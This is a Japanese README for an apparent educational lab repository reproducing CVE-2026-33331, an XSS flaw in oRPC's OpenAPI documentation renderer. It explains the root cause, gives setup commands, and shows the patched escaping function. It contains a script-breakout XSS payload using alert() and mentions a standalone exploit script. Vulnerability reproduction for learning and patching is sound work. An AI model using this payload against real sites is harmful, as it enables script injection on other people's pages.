このリポジトリは、このバグを再現するためのローカルラボと、比較用のパッチ適用済みバージョンを提供します。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-33331 |
| GHSA | GHSA-7f6v-3gx7-27q8 |
| CWE | CWE-79 (Webページ生成時の入力の不適切な無害化) |
| 製品 | middleapi/orpc |
| 影響を受けるバージョン | v1.13.9 未満の全バージョン |
| パッチ適用済み | v1.13.9 |
| 発見者 | Abhay Kumar (@abhayclasher) |
packages/openapi/src/plugins/openapi-reference.ts の脆弱なコードは、仕様を次のようにレンダリングします:
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>
JSON.stringify() は有効な JSON を生成しますが、< や > をエスケープしません。ブラウザは <script type="application/json"> 内であっても、</script> を HTML の終了タグとして扱います。
info.description 内で実行をトリガーするペイロード:
"</script><script>alert('XSS')</script>"
ブラウザは次のように認識します:
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>
最初の </script> がブロックを閉じます。その後のすべてはインライン JavaScript として実行されます。
これは、アプリケーションがユーザー制御の入力から OpenAPI 仕様を構築する場合に適用されます。これはまさに oRPC がルーター定義を通じて可能にするケースです。
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d
サーバー起動後、以下の URL にアクセスしてください:
| URL | 説明 |
|---|---|
http://localhost:3000/docs | 脆弱なドキュメントページ — 読み込み時に XSS ペイロードが実行されます |
http://localhost:3000/docs/safe | v1.13.9 のパッチが適用された同じページ |
http://localhost:3000/spec.json | 生の OpenAPI 仕様 JSON |
脆弱なバージョンはページ読み込み時に alert() を発火させ、スクリプトの実行を確認します。パッチ適用済みバージョンは同じ悪意のある仕様を安全にレンダリングします — ペイロードはプレーンテキストとして表示されます。
スタンドアロンの PoC も実行できます:
cd poc
node exploit.js
これにより、ポート 3000 で最小限のサーバーが起動し、完全なアプリケーションコンテキストなしで同じバグを実証します。
1. 攻撃者が OpenAPI 仕様のフィールド (例: description) を制御する
2. oRPC が JSON.stringify(spec) でドキュメント HTML を生成する
3. ペイロード内の </script> が <script> タグを早期に閉じる
4. ブラウザが後続の内容をインライン JavaScript として実行する
┌─────────────────────────────────────────────────────┐
│ 1. 悪意のある仕様が作成される: │
│ │
│ info.description = │
│ "</script><script>alert('XSS')</script>" │
│ │
│ 2. orpc が仕様を HTML に埋め込む: │
│ │
│ <script id="spec" type="application/json"> │
│ {"info":{"description":"</script> <-- タグ │
│ <script>alert('XSS')</script> <-- ペイロード│
│ "}} │
│ </script> │
│ │
│ 3. ブラウザが alert('XSS') を実行する │
└─────────────────────────────────────────────────────┘
バージョン 1.13.9 では escapeJsonForHtml() が導入され、JSON をスクリプトタグに埋め込む前に HTML に影響する文字を Unicode エスケープに置き換えます:
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
.replace(/&/g, '\\u0026')
.replace(/'/g, '\\u0027')
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/\//g, '\\u002F');
Unicode エスケープが機能するのは、それらが有効な JSON のままであるためです — JSON.parse() は元の文字列を再構築します — しかし、ブラウザのパーサーには HTML として見えません。
このパッチはまた、DOM の dataset.config 属性から JSON を読み取る方式 (値に括弧が含まれると壊れる) から、エスケープされた JSON をインライン変数に直接割り当てる方式に変更しました。
完全なコミットを表示: 4f0efa8
CVE-2026-33331/
├── README.md # このファイル
├── docker-compose.yml # Docker ラボ設定
├── app/
│ ├── Dockerfile # コンテナビルド設定
│ ├── package.json # Node.js 依存関係
│ └── server.js # 脆弱 + パッチ適用済みドキュメントレンダラー
└── poc/
└── exploit.js # スタンドアロンの最小概念実証
Abhay Kumar によって報告されました。このリポジトリはローカルでの教育目的のみを意図しています。脆弱なサーバーを公開ネットワークにデプロイしないでください。
教育目的のみ — 隔離された環境で使用してください